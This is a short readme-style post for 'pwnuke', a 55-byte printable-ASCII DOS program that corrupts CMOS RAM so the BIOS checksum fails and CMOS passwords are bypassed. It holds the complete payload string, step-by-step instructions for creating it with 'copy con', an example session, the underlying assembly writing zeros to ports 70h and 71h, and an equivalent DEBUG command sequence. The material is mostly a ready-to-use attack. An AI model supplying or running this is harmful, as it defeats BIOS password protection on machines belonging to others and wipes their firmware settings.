pwnuke

This program purposfully corrupts the cmos ram, thereby causing the bios checksum to fail on boot, thereby bypassing cmos passwords. It's 55 bytes long because it's entirely printable ASCII characters.

Use:

copy con p.com
hqAX-!@40P\h@BX-s!Ph7SX-Q!5@@4@Ph7RX-Q!5@@4@P%!!%@@t%u#

end with a ctrl-Z and enter

echo might work, but on FreeDOS it doesn't like the % characters, so it omits them, which breaks things.

Example session:
C:\>copy con p.com
hqAX-!@40P\h@BX-s!Ph7SX-Q!5@@4@Ph7RX-Q!5@@4@P%!!%@@t%u#^Z
1 file(s) copied.

C:\>p

C:\>

the functional part does this:

xor ax,ax
out 70,al
out 71,al
ret

if you have debug available, it's possible to achieve the same thing via:

debug
o 70 0
o 71 0
q